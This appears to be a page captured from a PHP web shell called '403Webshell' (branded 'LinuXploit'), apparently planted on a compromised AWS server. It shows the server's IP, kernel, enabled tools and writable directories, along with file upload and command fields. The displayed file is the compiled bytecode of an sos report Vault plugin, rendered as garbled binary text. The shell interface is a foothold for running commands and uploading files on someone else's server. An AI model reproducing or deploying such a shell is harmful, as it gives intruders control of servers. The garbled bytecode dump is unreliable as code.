403Webshell
Server IP : 65.1.209.187  /  Your IP : 216.73.216.144
Web Server : nginx/1.24.0
System : Linux ip-172-31-5-206 6.14.0-1015-aws #15~24.04.1-Ubuntu SMP Tue Sep 23 22:44:48 UTC 2025 x86_64
User :  ( 1001)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/sos/report/plugins/__pycache__/vault.cpython-312.pyc
�

([Qh���,�ddlmZmZGd�dee�Zy)�)�Plugin�UbuntuPluginc�0�eZdZdZdZdZdZdZdZd�Z	d�Z
y)	�Vaultz�The Vault plugin collects the current status of the vault
    snap on a Ubuntu machine.

    It will collect logs from journal, vault status and configuration
    z3Manage access to secrets and protect sensitive data�vault)�sysmgmt�security)rc��d}|j|�	t|dd��5}|j�j�D]V}|s�|j	d�}|dj�dk(s�.|djd	�}|j
d
d|i���X	ddd�y#1swYyxYw#t$r!}|jd
|�d|���Yd}~yd}~wwxYw)N� /var/snap/vault/common/vault.hcl�rzUTF-8)�encoding�=r�api_addr�z" zvault status�
VAULT_ADDR)�envzCould not open conf file z: )	�
add_copy_spec�open�read�
splitlines�split�strip�add_cmd_output�IOError�
_log_error)�self�	vault_cfg�cfile�line�wordsr�errors       �:/usr/lib/python3/dist-packages/sos/report/plugins/vault.py�setupzVault.setups���6�	����9�%�	N��i��w�7�
J�5�!�J�J�L�3�3�5�J�D�� � �J�J�s�O�E��Q�x�~�~�'�:�5�#(��8�>�>�%�#8���+�+�N�1=�x�0H�,�J�
J�
J�
J�
J���	N��O�O�7�	�{�"�U�G�L�M�M��	N�s;�B1�AB%�0+B%�B1�%B.�*B1�.B1�1	C�:C�Cc�*�|jddd�y)Nrz(password\s?=\s?).*z\1******)�do_file_sub)rs r"�postproczVault.postproc/s�����.�"��	
�N)�__name__�
__module__�__qualname__�__doc__�
short_desc�plugin_name�profiles�services�packager#r&�r'r"rrs.���G�J��K�&�H��H��G�N�&
r'rN)�sos.report.pluginsrrrr1r'r"�<module>r3s��4�&
�F�L�&
r'

Youez - 2016 - github.com/yon3zu
LinuXploit